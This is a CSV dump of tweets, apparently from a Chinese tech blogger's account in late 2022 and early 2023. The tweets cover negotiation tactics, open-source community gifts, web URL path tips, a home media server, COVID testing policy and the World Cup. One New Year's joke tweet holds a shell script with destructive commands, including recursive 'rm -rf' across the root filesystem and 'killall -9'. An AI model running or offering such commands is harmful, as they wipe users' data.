09:57:40+00:00,54,4,3,,当然，即便你用上这些方法，你也不一定能扭转。因为，对方会说，“别扯这么多，你倒底行不行？”，“老板和客户要的，你就说能不能干吧”……等等，这基本上来说就是不讲道理耍赖了，那就勇敢地说“不”吧，因为跟这些不讲道理的人在一起，你是不会有未来的，与其花时间说服他们，不好花时间找个更好的窝……,,https://twitter.com/haoel/status/1612750513648603136\n864,1612750510804856832,2023-01-10 09:57:39+00:00,70,12,2,,要能把对方拉到自己的思维方式里，有这么几个手段：1）描绘更好的愿景。如：我是来帮你们提升能力的，不是帮你们贴补要的。2）分而治之。把对方的问题一个一个分开谈，不要混在一起谈。3）不陷入细节，回归本质。如：如果真想做，那我们就一起找方法，问题都能解。4）找有说服力的案例和因果关系……,,https://twitter.com/haoel/status/1612750510804856832\n865,1612750507675901952,2023-01-10 09:57:39+00:00,23,6,1,,站在更高的格局上主要是，1）本质目的。要知道“X-Y问题” https://t.co/b0zXlgdXP3 ，学会识别 X问题是什么，就是反问对方，你这么做的目的是什么？为什么不用另一种更好的方法？2）眼光长远。比如：与其我们这么费劲去兼容这些陈旧技术，你不累吗？为什么不把这些技术债还了？这样会有更好的未来。,\"[TextLink(text='coolshell.cn/articles/10804…', url='http://coolshell.cn/articles/10804.html', tcourl='https://t.co/b0zXlgdXP3', indices=(30, 53))]\",https://twitter.com/haoel/status/1612750507675901952\n866,1612750505088012289,2023-01-10 09:57:38+00:00,50,7,2,,\"对于“反弹”，对方提要求，你给结果。不要说不，要学会有条件的说是，并给多个选项，然后这些选项返回对方，让他自己来做决定。如：\n1）我可以在规定时间做完所有工作，但要加班赶工，所以无法保证质量\n2）我能在规定时间保证质量完成七成工作。\n3）如果你多给我2周时间，我能保证质量完成所有的工作。\",,https://twitter.com/haoel/status/1612750505088012289\n867,1612750502542049280,2023-01-10 09:57:37+00:00,63,9,2,,\"本质上来说，这里主要有这么几个原则：\n1）要学会“反弹”，把对方给你的压力回弹回去。\n2）要学会站在更高的格局上讨论问题，才压得住对方\n3）要学会把对方拉到自己的思维方式里，千万不要进入对方的思维方式\",,https://twitter.com/haoel/status/1612750502542049280\n868,1612750498360328192,2023-01-10 09:57:36+00:00,213,56,8,,Forrest兄转了我收费专栏里的这篇文章，我的专栏有一些教你如何跟想PUA你的想法、控制你的时间、扭曲事实的逻辑……做斗争的一些方法之的文章，都是我觉得是很实用也有效的。在这里写个thread，后面有可能我会把我收费专栏里的相关内容完全重写一遍……,,https://twitter.com/haoel/status/1612750498360328192\n869,1612710833167167488,2023-01-10 07:20:00+00:00,0,0,1,,@sun76790508 @turingbook @_liquidcat @cloudwu 王坚有,,https://twitter.com/haoel/status/1612710833167167488\n870,1612692028130988037,2023-01-10 06:05:16+00:00,3,0,0,,@qqim2busy @forrest_zhao 当然要签个和解协议,,https://twitter.com/haoel/status/1612692028130988037\n871,1612691108961869828,2023-01-10 06:01:37+00:00,41,4,17,,@turingbook @_liquidcat @cloudwu 我这么说吧，Cloud 在当时已经是热门了，只要有国外的思维方式都知道有多重要。如果阿里云的CTO是做真正懂技术的，阿里云不会从2008年做到2016年才出成绩，浪费了太多的资源，时间，人力，金钱至少可以少一半多……大规模的技术整改重构包括技术团队的重组工作都是在王坚2014年不再担任CTO后发生的……,,https://twitter.com/haoel/status/1612691108961869828\n872,1612655848547037185,2023-01-10 03:41:30+00:00,282,35,8,,@forrest_zhao 都很实用，我屡试不爽，尤其给对方选项。当时跟某知名公司维权，对方给的赔偿太小，谈不拢。于是，我说这样吧，我给三个选项你们挑一个吧，1）我一分钱不要，但需要有贵公司公章的道歉函，2）按你们的赔偿额来，但是要书面说明钱的来由并盖公章，3）按我提的要求来，不需要任何说明。最终对方选了三。,,https://twitter.com/haoel/status/1612655848547037185\n873,1612385713294831621,2023-01-09 09:48:05+00:00,17,4,1,,@cloudwu @turingbook 非常同意！这个问题可以被替换成——【懂技术的人是否需要写代码】于是，这个论断，要先证明一下，不写代码不动手的情况下怎么懂技术？至少要给出一些案例或是成长路径……,,https://twitter.com/haoel/status/1612385713294831621\n874,1612347436269461505,2023-01-09 07:15:59+00:00,0,0,0,,@handel1977 没有,,https://twitter.com/haoel/status/1612347436269461505\n875,1612347388492140545,2023-01-09 07:15:48+00:00,2,0,0,,@mawei_spoiler 我说的是我们公司的开始源项目,,https://twitter.com/haoel/status/1612347388492140545\n876,1612322541766586369,2023-01-09 05:37:04+00:00,0,0,0,,@sun76790508 谢谢,,https://twitter.com/haoel/status/1612322541766586369\n877,1612312826143731714,2023-01-09 04:58:27+00:00,75,7,5,,这是我们的开源项目的地址： https://t.co/0NVYQ5ni5z ，大家如果看起，上 github 给我们项目点个小星星哈……❤️,\"[TextLink(text='github.com/megaease', url='http://github.com/megaease', tcourl='https://t.co/0NVYQ5ni5z', indices=(14, 37))]\",https://twitter.com/haoel/status/1612312826143731714\n878,1612311848078172160,2023-01-09 04:54:34+00:00,7,0,1,,@Magical_Che 我不觉得，因为那样还要扣贡献者的个税,,https://twitter.com/haoel/status/1612311848078172160\n879,1612305255051689985,2023-01-09 04:28:22+00:00,2,0,1,,@leonLemonC 这是给2022年的，你现在贡献就要等2023年底了,,https://twitter.com/haoel/status/1612305255051689985\n880,1612301371163938816,2023-01-09 04:12:56+00:00,0,0,0,,@virtualperson8 贡献大主要是看做的事,,https://twitter.com/haoel/status/1612301371163938816\n881,1612298914425892864,2023-01-09 04:03:10+00:00,311,21,17,,\"春节快到了，我们想给开源社区里做过比较大贡献的同学发些新年礼物。\n\n我们把贡献大的同学分成两个档次：\n- 贡献大的（任选一）：Sony PS5 、 iPad（十代）、DJI Mini 3 Pro 标准版\n- 贡献其次的（任选一）：PICO VR 眼镜 、Air Pod Pro、零刻SEi 12 1235U 迷你主机 \n\n感谢同学们对我们开源的付出！\",,https://twitter.com/haoel/status/1612298914425892864\n882,1612265101649903618,2023-01-09 01:48:49+00:00,84,9,14,,@plantegg Serverless 在过去就是Google 的 App Engine，或是Docker的前身dotCloud，或是国内各个公司PaaS平台，如淘宝的TAE，旨在去除无聊的与业务无关的服务器配置相关的工作，但全部以失败告终。现在的Serverless以FaaS的方式卷土重来，如：AWS Lambda，之所以云平台需要这个， 可以类比数据库的存储过程……,,https://twitter.com/haoel/status/1612265101649903618\n883,1611947397281886210,2023-01-08 04:46:22+00:00,2,0,0,,@nishuang me too,,https://twitter.com/haoel/status/1611947397281886210\n884,1611752979136380929,2023-01-07 15:53:49+00:00,7,0,1,,@shajiabiji 他是公司的创始人兼CEO,,https://twitter.com/haoel/status/1611752979136380929\n885,1611752859191906305,2023-01-07 15:53:21+00:00,89,4,17,,\"上面这个聊天中，要讲清楚这个事，100字内足够了：【你好，我是xxx的CEO，我叫xxx，我们主要做程序员的招聘和培训，我们现在有xxx用户，有很不错的内容和合作方（如：a,b,c），我们想跟你合作一起共建这个平台，形式和费用都可以讨论，愿意了解一下吗？】，讲了半天都不知道是谁，要干什么……\",,https://twitter.com/haoel/status/1611752859191906305\n886,1611747431884161028,2023-01-07 15:31:47+00:00,2,0,2,,@bryantya2 @tianmingwang 那你应该关注那些大多数人，而不是少数人,,https://twitter.com/haoel/status/1611747431884161028\n887,1611746405542162434,2023-01-07 15:27:42+00:00,66,3,30,,有些人不以为然，我截个今天下午的图给你们看看，一句完整的话都能拆成两条信息，用了TG还不知道怎么修改错别字，别说合作了，我连交流的兴趣都没有……生命有限，只能留给更好的人…… https://t.co/HCE20yfeUE,,https://twitter.com/haoel/status/1611746405542162434\n888,1611656379533791232,2023-01-07 09:29:58+00:00,31,0,4,,@tianmingwang 大多数情况下绝对不是你这样的。另外，大多数情况是，你发了十条，他只看五条，呵呵,,https://twitter.com/haoel/status/1611656379533791232\n889,1611651830978838529,2023-01-07 09:11:54+00:00,554,41,291,,网上聊天，我最讨厌的就是一句一句地发文字，这种写一句就发一句的方式，就像拿个棍子不停地捅对方，你设备上的通知不断地弹出来，非常没有礼貌，也令人反感。这样的人不在少数，我想问问大家，为什么咱就不能一次打完，再发出来呢？,,https://twitter.com/haoel/status/1611651830978838529\n890,1610243152144928768,2023-01-03 11:54:18+00:00,28,1,0,,\"Two Github Hash Tags \n\n1) My Github contribution punchcard since registered #GitHubContributions -&gt; https://t.co/4CcywJeHDJ \n\n2) My 2022 Github Summary: no lunch, no weekend, 400+ commits , 100+ pull requests, love Go #GitHubUnwrapped -&gt; https://t.co/Rp5XDN4Ymp https://t.co/IuFIVIqRh5\",\"[TextLink(text='github-contributions.vercel.app', url='http://github-contributions.vercel.app', tcourl='https://t.co/4CcywJeHDJ', indices=(103, 126)), TextLink(text='githubunwrapped.com', url='http://githubunwrapped.com', tcourl='https://t.co/Rp5XDN4Ymp', indices=(244, 267))]\",https://twitter.com/haoel/status/1610243152144928768\n891,1610239779047890950,2023-01-03 11:40:54+00:00,2,0,0,,@fanweixiao 我也生成一个,,https://twitter.com/haoel/status/1610239779047890950\n892,1610145536979632129,2023-01-03 05:26:25+00:00,2,1,1,,@waylybaye 嗯，我也说了，只有两种方式，一种是全相对，一种是绝对加basePath，像Java那样。然后，一定要把路径管理收口掉，不然，无论你怎么做都是Bug一堆。,,https://twitter.com/haoel/status/1610145536979632129\n893,1610129697022803968,2023-01-03 04:23:29+00:00,1,1,1,,@waylybaye 参看 code-server的全相对路径,,https://twitter.com/haoel/status/1610129697022803968\n894,1610116273937211396,2023-01-03 03:30:08+00:00,46,11,2,,这里发个推，提示一下各位同学，1）在项目中的代码最好全用相对URL路径（参看：code-server https://t.co/p2vA2EQuJW），如果要用绝对的话，最好支持一个BasePath的配置（Java的项目都会有一个app）。2）在 URL 路径管理上一定要收口，收到一个统一的地方，不要放任，这个非常重要！2 cents (3/3),\"[TextLink(text='github.com/coder/code-ser…', url='https://github.com/coder/code-server/discussions/1739#discussioncomment-53976', tcourl='https://t.co/p2vA2EQuJW', indices=(51, 74))]\",https://twitter.com/haoel/status/1610116273937211396\n895,1610116271672266754,2023-01-03 03:30:08+00:00,12,0,1,,主要是两个问题：1）只要你用 Base Path 或 Base URL 搜 github，你就会看到近两年来，大量的项目都被用户逼着加上BasePath，而不是直接用根，有的项目负责人直接说“工作量太大了” 😂。2）还有页面跳转，也是非常之乱，既有前端页面的，也有后端的302，各种跳转规则并发的时候，就有点乱了…… (2/3),,https://twitter.com/haoel/status/1610116271672266754\n896,1610116269365415938,2023-01-03 03:30:07+00:00,40,2,9,,前几天在折腾我们的用户手册（https://t.co/bYBOsAgxme），我们用了@shuding_的Nextra项目。但在部署时出了点问题：我们会在网关上加个前缀路径，如 /docs，而Nextra在好些情况下总是会跳转到/上……进而发现大量的npm项目在代码里都喜欢直接用/，导致网关转发 /app1 =&gt; npm server 时出问题…（1/3),\"[TextLink(text='cloud.megaease.cn/docs/zh-CN/ind…', url='https://cloud.megaease.cn/docs/zh-CN/index', tcourl='https://t.co/bYBOsAgxme', indices=(14, 37))]\",https://twitter.com/haoel/status/1610116269365415938\n897,1610107707281018883,2023-01-03 02:56:06+00:00,18,0,1,,@tinyfool 太能理解了，相信一切都会好起来的，祝早日康复！,,https://twitter.com/haoel/status/1610107707281018883\n898,1610102894086459393,2023-01-03 02:36:58+00:00,0,0,0,,@leadream4 哈哈,,https://twitter.com/haoel/status/1610102894086459393\n899,1610093486476525568,2023-01-03 01:59:35+00:00,23,2,4,,\"你们看，我说的没错吧。大量的都是 Javascript 的  \nhttps://t.co/yhEsygYakM https://t.co/NCdl6OwUVc\",\"[TextLink(text='github.com/search?l=&q=co…', url='https://github.com/search?l=&q=copyright+created%3A%3E2022-12-31&type=issues', tcourl='https://t.co/yhEsygYakM', indices=(32, 55))]\",https://twitter.com/haoel/status/1610093486476525568\n900,1609889190736723968,2023-01-02 12:27:48+00:00,123,5,11,,新年伊始，可以预见的是，Github 上要出现一堆更新 Copyright 年份的 Pull Requests …😂,,https://twitter.com/haoel/status/1609889190736723968\n901,1609788385455124482,2023-01-02 05:47:14+00:00,0,0,0,,@Acceleratorpooh @m1ssuo 有也不好用，我就是封装了下yet-dlp,,https://twitter.com/haoel/status/1609788385455124482\n902,1609624678154502145,2023-01-01 18:56:43+00:00,1,0,0,,@yicone @jingwangnet 差不多，是 powerpoint,,https://twitter.com/haoel/status/1609624678154502145\n903,1609624169582559233,2023-01-01 18:54:42+00:00,3,0,0,,@_weiq @3721_helper 差不多，我下的是这个：https://t.co/9rKrV3oGi6,\"[TextLink(text='twitter.com/hourandy06/sta…', url='https://twitter.com/hourandy06/status/1607666312159039489?s=20&t=nOA1AAvrwriPccy6zQJ90Q', tcourl='https://t.co/9rKrV3oGi6', indices=(31, 54))]\",https://twitter.com/haoel/status/1609624169582559233\n904,1609543327137034241,2023-01-01 13:33:27+00:00,363,47,23,,\"画个整个技术栈的示意图。\n\nP.S. 唯有自建才是妥妥的去中心化 https://t.co/zq6XtLYcDy\",,https://twitter.com/haoel/status/1609543327137034241\n905,1609530670346539008,2023-01-01 12:43:10+00:00,83,12,7,,发现我的 My Cloud 的 NAS 上可以安装一个Plex Media Server，果断把 Jellyfin 从那台破电脑上停了，换成功能更强大的 Plex，然后把我的NAS mount到X61上，这回就更帅了…… https://t.co/U8jxIDUshP,,https://twitter.com/haoel/status/1609530670346539008\n906,1609234977060970498,2022-12-31 17:08:11+00:00,1,0,0,,@emperinter pkill也可,,https://twitter.com/haoel/status/1609234977060970498\n907,1609217359956574208,2022-12-31 15:58:11+00:00,196,15,12,,\"#!/bin/sh\n\nkillall -9  -m 2022\nkill -9 $(lsof -t -i:2022)\nfind / -name “*2022*” -exec rm -rf {} \ngrep -r /* 2022 | xargs rm\n\ndocker run  Year:2023 \n\necho “祝2023大家新年快乐…”\",,https://twitter.com/haoel/status/1609217359956574208\n908,1609211116143669250,2022-12-31 15:33:22+00:00,2,0,1,,@wuvist 未来会吧,,https://twitter.com/haoel/status/1609211116143669250\n909,1609207880007446528,2022-12-31 15:20:30+00:00,13,0,2,,@m1ssuo 没有，等我再写几个,,https://twitter.com/haoel/status/1609207880007446528\n910,1609206220287795200,2022-12-31 15:13:55+00:00,1339,178,71,,\"今天折腾了一天，把台X61装上Ubuntu 20和Clash翻墙，用Go写个服务API，提供网址帮下载Twitter, YouTube，抖音等社交平台的视频，然后再写了一个苹果的快捷方式来通过分享请求下载API，再用Jellyfin 的服务端和手机App来浏览下载的媒体文件，最后用Cloudflare Tunnel代理到公网，完美！动手使我快乐…… https://t.co/YtaW5QUw0g\",,https://twitter.com/haoel/status/1609206220287795200\n911,1609197337741783044,2022-12-31 14:38:37+00:00,54,3,6,,@ghosTM55 @senob_ @ShanghaiLUG @tualatrix 我的 X61 还在使用中，Ubuntu 20.10 Server，当一个小服务器用…… https://t.co/yh40uuNTgo,,https://twitter.com/haoel/status/1609197337741783044\n912,1609164534866145283,2022-12-31 12:28:16+00:00,1,0,0,,@AnonymousLSMH 哈哈，太真实了！,,https://twitter.com/haoel/status/1609164534866145283\n913,1608665539152596996,2022-12-30 03:25:26+00:00,45,0,3,,@ghosTM55 果然是年底润了，赞执行力！,,https://twitter.com/haoel/status/1608665539152596996\n914,1608327005195636743,2022-12-29 05:00:13+00:00,101,2,10,,这几天老婆到通州工作，每天都要往返朝阳区和通州一次，几乎每次开车上路，都能见到急救车，从来没有见过这么高的频率。大家多多注意和保重！,,https://twitter.com/haoel/status/1608327005195636743\n915,1608326051075358720,2022-12-29 04:56:26+00:00,0,0,1,,@yayv 你是通过饭局上求真，而不是通过更严谨的文字？,,https://twitter.com/haoel/status/1608326051075358720\n916,1608296926939578370,2022-12-29 03:00:42+00:00,318,30,28,,有好些人在讲一些知识性的东西时讲得是头头是道，我建议即便自己很懂，最好还是给出一些靠谱和权威的引用和参考，这样能更为的可信和服众。我最讨厌的说法是：1）我对这事有 XX 年的经验，2）我是XX大学的博士，3）我以前干过这事 XX遍，4）我做过比这更厉害的事……求真永远都是看事而不看人的……,,https://twitter.com/haoel/status/1608296926939578370\n917,1608040017699704832,2022-12-28 09:59:50+00:00,0,0,0,,@casaDePezVolado 投票结束的时候就可以看到了,,https://twitter.com/haoel/status/1608040017699704832\n918,1607925482913398784,2022-12-28 02:24:43+00:00,1,0,0,,@moe_loop 平均下来，应该差不多一周一次，选最后一项吧。,,https://twitter.com/haoel/status/1607925482913398784\n919,1607925296644386818,2022-12-28 02:23:59+00:00,1,0,0,,@SimonShen4 是的，我故意的，前三个是给比较夸张的人的，最后的选项就是给做的次数不多的人的。50-100 的，要么选 50 次，要么选 100 次，四舍五入吧。,,https://twitter.com/haoel/status/1607925296644386818\n920,1607924177994158083,2022-12-28 02:19:32+00:00,0,0,0,,@puddingship 是的，不求好，只求不是最烂,,https://twitter.com/haoel/status/1607924177994158083\n921,1607923736442966016,2022-12-28 02:17:47+00:00,37,6,6,,\"@3721_helper 你是不是想到了国家如何增加人口数量的手段了？\n1）像禁卖退烧药一样禁卖避孕用品\n2）需要持 48 小时性生活检测码出行\",,https://twitter.com/haoel/status/1607923736442966016\n922,1607923211987189760,2022-12-28 02:15:42+00:00,1,0,0,,@Gudwin_y 出租车司机就是每天一次,,https://twitter.com/haoel/status/1607923211987189760\n923,1607919297606881280,2022-12-28 02:00:08+00:00,1,0,1,,@puddingship 我今天 7 月份也到过深圳，大热天，晚上 10 点，排大队，一个点几千人，壮观,,https://twitter.com/haoel/status/1607919297606881280\n924,1607917839897473025,2022-12-28 01:54:21+00:00,16,5,44,,2022 年你做过多少次核酸（ 仅针对国内的同学）,,https://twitter.com/haoel/status/1607917839897473025\n925,1607569408461012992,2022-12-27 02:49:48+00:00,2,0,1,,@thankswell4 @liumengxinfly 我再耐心的再跟你解释一次，作为流行的传染病，监测其传染趋势和过程是一件非常重要的事，你可以看一下WHO，中美的传染病防控法你就知道为什么 要对传染病进行监控了。原因很简单 ，没有数据，就不知道怎么应对。另外，你如果觉得流行病统计与地域、人种或气候无关的话，你要找出引用来……不要当扛精,,https://twitter.com/haoel/status/1607569408461012992\n926,1607564110857908229,2022-12-27 02:28:45+00:00,0,0,1,,@thankswell4 @liumengxinfly 不需要流调！统计监测不需要流调的。你看我最新的说明吧……可以调查一下其他国家是怎么干的,,https://twitter.com/haoel/status/1607564110857908229\n927,1607541360181260289,2022-12-27 00:58:21+00:00,76,8,21,,有一些人找各种理由说现在统计数据太难了，但是只要你Google一下，你就可以看到全世界好多国家都做到了，他们并不一定是像我说的上门去核酸检测，数据也不一定准确，但是人家人家都做了。我的原推只是给了个中国式的例子，主要是想表达用最笨的使蛮力的方式，我们都能做到，何况其他方式…… https://t.co/zt5Zzt8pUX,,https://twitter.com/haoel/status/1607541360181260289\n928,1607533129442676737,2022-12-27 00:25:39+00:00,2,0,1,,@thankswell4 @liumengxinfly 你这逻辑才神，你是怎么理解看出来我是希望放开以后还需要流调封控的？你把统计发病人数等同于流调封控。你这逻辑也很神,,https://twitter.com/haoel/status/1607533129442676737\n929,1607531280341815296,2022-12-27 00:18:18+00:00,48,3,2,,\"@tunguz i -= -1;\ni -=  0xffffffff;\ni -= ~0;\ni = -~i;\",,https://twitter.com/haoel/status/1607531280341815296\n930,1607336304899133441,2022-12-26 11:23:32+00:00,67,0,17,,@songma 政治逻辑是不是——当灾难来临的时候大家都视而不见，那就等于没有灾难了？,,https://twitter.com/haoel/status/1607336304899133441\n931,1607335273368793088,2022-12-26 11:19:26+00:00,5,0,0,,@plantegg 我觉得代价比之前小多了。你仔细想一想，动态清零的时候，我今年做的至少100次核酸检测，整个北京市2000万人，至少20亿次，混检除10也是2亿次，每个小区附近至少2-3个核酸检测点。现在只要你结果是阳性就不用再检了，也不需要做流掉和封控。难度小多了，想想是不是？,,https://twitter.com/haoel/status/1607335273368793088\n932,1607333670804918272,2022-12-26 11:13:04+00:00,851,97,125,,之前动态清零，通过各种大数据手段，今年我至少做过100次以上核酸检测，而且一旦有阳就各种大规模的流调和封控，成本之高……现在疫情蔓延，正是科学研究需要对数据和蔓延情况了解的时候，这些数据和研究可以让我们更好应对，按理来说，现在统计比之前的“大海捞针”难度成本小多了，但却不统计了……,,https://twitter.com/haoel/status/1607333670804918272\n933,1607325670056816640,2022-12-26 10:41:17+00:00,1,0,1,,@Asukatjp @plantegg 怎么不可能？以前虽是混检，但每人每天都得要检，现在更容易了，单检过是阳性的就不用再检了。,,https://twitter.com/haoel/status/1607325670056816640\n934,1607323131500433408,2022-12-26 10:31:11+00:00,70,0,12,,@plantegg 我觉得你说错了，这个国家只要他想，统计数字这事一定做得到。像之前一样的上门核酸就行了，不是吗？只不过他不想做罢了。,,https://twitter.com/haoel/status/1607323131500433408\n935,1607254125540175875,2022-12-26 05:56:59+00:00,1,0,1,,@lgqyhm2010 我一个也搜不出来，😓,,https://twitter.com/haoel/status/1607254125540175875\n936,1606958015785340930,2022-12-25 10:20:21+00:00,3,0,4,,@lgqyhm2010 我的 Netflix 里一个也找不到,,https://twitter.com/haoel/status/1606958015785340930\n937,1606928749278396423,2022-12-25 08:24:03+00:00,45,4,5,,用香港的代理访问 Disney+ 还有周星驰的《国产零零柒》和《九品芝麻官》，还是高清重制的…… https://t.co/y7GkZIN7dO,,https://twitter.com/haoel/status/1606928749278396423\n938,1605439132817399810,2022-12-21 05:44:51+00:00,636,27,218,,我觉得我还是低估了这个病毒，都快两周了，我的感冒和咳嗽还没好……,,https://twitter.com/haoel/status/1605439132817399810\n939,1605436614951374848,2022-12-21 05:34:51+00:00,1,0,1,,@notoymil 是的，还需有在机器上安装 git,,https://twitter.com/haoel/status/1605436614951374848\n940,1605424396176306176,2022-12-21 04:46:18+00:00,852,213,20,,如果你发现你的 Github 的 git clone/pull/push 访问很慢，甚至不通，你需要设置一下你的 ssh的代理，下面是如何把你本机的Socks的代理设置成SSH的代理。更多科学上网的自建方法请参看：https://t.co/mdOTsYdude https://t.co/bkpMghXUew,\"[TextLink(text='github.com/haoel/haoel.gi…', url='https://github.com/haoel/haoel.github.io', tcourl='https://t.co/mdOTsYdude', indices=(107, 130))]\",https://twitter.com/haoel/status/1605424396176306176\n941,1604854816252928002,2022-12-19 15:02:59+00:00,186,8,23,,昨晚的决赛实在是太精彩了……让我无法不想起1986世界杯，那年是我有生以来第一次认识足球看世界杯，从此便认识了莱因克尔、鲁梅尼格、普拉蒂尼、苏格拉底、劳德鲁普、以及布鲁察加和马拉多纳……一晃30多年过去，感觉一切都变了，但却只有足球依旧……,,https://twitter.com/haoel/status/1604854816252928002\n942,1603980709101596672,2022-12-17 05:09:36+00:00,285,21,27,,刚才把我用剩的感冒退烧药还有抗原给亲人朋友寄了过去。顺丰小哥跟我说，这两天全都是寄这些的，不是抗原，就是感冒药，都寄疯了……,,https://twitter.com/haoel/status/1603980709101596672\n943,1603958704876900352,2022-12-17 03:42:10+00:00,270,3,27,,新冠感染只有轻微的感冒了，体力也恢复了，于是来看电影了，周末早上8:30的场，只有我跟我老婆两个人看……第一次独占电影院……少了旁边的人进进出出或是不停看手机，电影体验算是真正沉浸了……对了，片名应该叫《阿凡达 ：软肋之道》 https://t.co/Tn7Txx0KfK,,https://twitter.com/haoel/status/1603958704876900352\n944,1603760796864983040,2022-12-16 14:35:45+00:00,0,0,0,,@HeseyWang 算两个 ID,,https://twitter.com/haoel/status/1603760796864983040\n945,1603705647253442561,2022-12-16 10:56:36+00:00,0,0,1,,@HeseyWang 你不是同一个ID吗？,,https://twitter.com/haoel/status/1603705647253442561\n946,1603703202829869056,2022-12-16 10:46:53+00:00,1,0,1,,@jasl9187 我也去过两次医院一次是中日友好医院一次去朝阳医院，但是医院的人数比往年少了很多很多，挂号也很容易，就诊也很快……我是告诉你，医院的人少了很多！只要有一点限制销量就下去了。你懂吗？他们就是限制人们看病买药，你真的明白吗？你要学会宏观看问题，不是就在你个人的角度。,,https://twitter.com/haoel/status/1603703202829869056\n947,1603701102293110785,2022-12-16 10:38:32+00:00,3,0,0,,\"@BythonLeung 广东陆丰：https://t.co/48L18dJJ42\n\n深圳南山：https://t.co/SA16Nm3pdM\",\"[TextLink(text='chinanews.com.cn/sh/2020/08-15/…', url='https://www.chinanews.com.cn/sh/2020/08-15/9265869.shtml', tcourl='https://t.co/48L18dJJ42', indices=(18, 41)), TextLink(text='szns.gov.cn/ztzl/kjxgfynsz…', url='http://www.szns.gov.cn/ztzl/kjxgfynszxd/nszxd/content/post_9523171.html', tcourl='https://t.co/SA16Nm3pdM', indices=(48, 71))]\",https://twitter.com/haoel/status/1603701102293110785\n948,1603696661691523072,2022-12-16 10:20:54+00:00,1,0,2,,@WalkerRepo @meili145 我还可以找出好多广东的城市，整个城市停止买退烧药的新闻，我觉得你自己可以上网谷歌一下……,,https://twitter.com/haoel/status/1603696661691523072\n949,1603694183931224064,2022-12-16 10:11:03+00:00,17,0,3,,@jasl9187 对不起，我们两个理解不一样，你认为弹窗没有限制，我认为健康宝弹窗就是限制。我们俩谈不到一起。,,https://twitter.com/haoel/status/1603694183931224064\n950,1603693778711113729,2022-12-16 10:09:26+00:00,64,15,15,,\"有些人不同意，那我给几个新闻链接：\n\n郑州：https://t.co/za9gTme2Zc\n宁厦：https://t.co/q0QEGDUh7p\n昆明：https://t.co/sdURrZhR1G\n山东：https://t.co/0yM9dXwpIY\n南京：https://t.co/xEqQSYKLgw\n大同：https://t.co/1iq9j44ekN\n洛阳：https://t.co/i68quK3FWZ\n都江堰：https://t.co/PCop7YMNH2\",\"[TextLink(text='chinanews.com.cn/sh/2021/10-28/…', url='https://www.chinanews.com.cn/sh/2021/10-28/9597145.shtml', tcourl='https://t.co/za9gTme2Zc', indices=(22, 45)), TextLink(text='nx.people.com.cn/n2/2021/1104/c…', url='http://nx.people.com.cn/n2/2021/1104/c192482-34989405.html', tcourl='https://t.co/q0QEGDUh7p', indices=(49, 72)), TextLink(text='m.yunnan.cn/system/2021/12…', url='https://m.yunnan.cn/system/2021/12/27/031841539.shtml', tcourl='https://t.co/sdURrZhR1G', indices=(76, 99)), TextLink(text='m.sohu.com/a/531182690_12…', url='https://m.sohu.com/a/531182690_121123896/', tcourl='https://t.co/0yM9dXwpIY', indices=(103, 126)), TextLink(text='m.cyol.com/gb/articles/20…', url='http://m.cyol.com/gb/articles/2021-07/28/content_98WZbuaGq.html', tcourl='https://t.co/xEqQSYKLgw', indices=(130, 153)), TextLink(text='ncp.pkulaw.com/epidemiclar/4d…', url='http://ncp.pkulaw.com/epidemiclar/4d98ab57a517472622c46a83599efcafbdfb.html', tcourl='https://t.co/1iq9j44ekN', indices=(157, 180)), TextLink(text='mobile.lyd.com.cn/news/system/20…', url='http://mobile.lyd.com.cn/news/system/2022/04/01/032320587.shtml', tcourl='https://t.co/i68quK3FWZ', indices=(184, 207)), TextLink(text='m.cd.bendibao.com/news/119762.sh…', url='http://m.cd.bendibao.com/news/119762.shtm', tcourl='https://t.co/PCop7YMNH2', indices=(212, 235))]\",https://twitter.com/haoel/status/1603693778711113729\n951,1603690709642403840,2022-12-16 09:57:14+00:00,16,0,3,,@jasl9187 你买完退烧药以后几哪都去不了，不就是限制你别去买吗？,,https://twitter.com/haoel/status/1603690709642403840\n952,1603690407568674816,2022-12-16 09:56:02+00:00,1,0,1,,@WalkerRepo @meili145 那你觉得我说的不对吗？,,https://twitter.com/haoel/status/1603690407568674816\n953,1603689449266634753,2022-12-16 09:52:14+00:00,0,0,0,,@WalkerRepo @meili145 我觉得我想表达的意思是什么你应该看得懂,,https://twitter.com/haoel/status/1603689449266634753\n954,1603689174116155392,2022-12-16 09:51:08+00:00,2,0,1,,\"@meili145 @WalkerRepo 你们广东的 2022-11-24 的通告 《广东高风险区停售退热、抗病毒等药品》你们平时不关心新闻吗？\n\nhttps://t.co/cHe4uyHaBw https://t.co/UzTHzwWiPx\",\"[TextLink(text='m.mp.oeeee.com/a/BAAFRD000020…', url='https://m.mp.oeeee.com/a/BAAFRD000020221124742902.html', tcourl='https://t.co/cHe4uyHaBw', indices=(75, 98))]\",https://twitter.com/haoel/status/1603689174116155392\n955,1603687220690374656,2022-12-16 09:43:23+00:00,1,0,3,,@meili145 @WalkerRepo 是不是要实名登记？北京登记完了就弹窗……另外，好多地方都是不给买，你们真的忘了吗？,,https://twitter.com/haoel/status/1603687220690374656\n956,1603682829585379328,2022-12-16 09:25:56+00:00,697,42,51,,有几个小粉红回复说，之前的时候你自己不会准备吗？我要提醒你注意一下了，之前没有放开的时候退烧药是不让卖的，要不然就是你要买的话就弹窗或黄码……你们一没记忆，二没智商，三没教养……你们翻墙岀来干嘛？,,https://twitter.com/haoel/status/1603682829585379328\n957,1603607113590140928,2022-12-16 04:25:04+00:00,0,0,1,,@HeseyWang 是反过来。如果你有设备无法升级，你就开启不了,,https://twitter.com/haoel/status/1603607113590140928\n958,1603323844973891584,2022-12-15 09:39:27+00:00,2,0,0,,@JudeWhatever @yuio423512345 可能不属于科技与技术吧,,https://twitter.com/haoel/status/1603323844973891584\n959,1603323645211779073,2022-12-15 09:38:39+00:00,3,0,2,,@sach_go 离不开微信了？,,https://twitter.com/haoel/status/1603323645211779073\n960,1603323454274473984,2022-12-15 09:37:54+00:00,10,0,1,,@tinyfool 因为我不想两边同时发文。所以我用个小程序在微信这边可以浏览我博客的文章。,,https://twitter.com/haoel/status/1603323454274473984\n961,1603291500103598080,2022-12-15 07:30:55+00:00,1,0,1,,@tinyfool 是啊,,https://twitter.com/haoel/status/1603291500103598080\n962,1603291442004099072,2022-12-15 07:30:42+00:00,43,0,1,,@ilaobian 微信平台 不等于中文内容,,https://twitter.com/haoel/status/1603291442004099072\n963,1603291146301472768,2022-12-15 07:29:31+00:00,25,0,6,,@yuio423512345 应该是。还有人举报……呵呵,,https://twitter.com/haoel/status/1603291146301472768\n964,1603291001518379008,2022-12-15 07:28:57+00:00,5,0,2,,@desire_myself 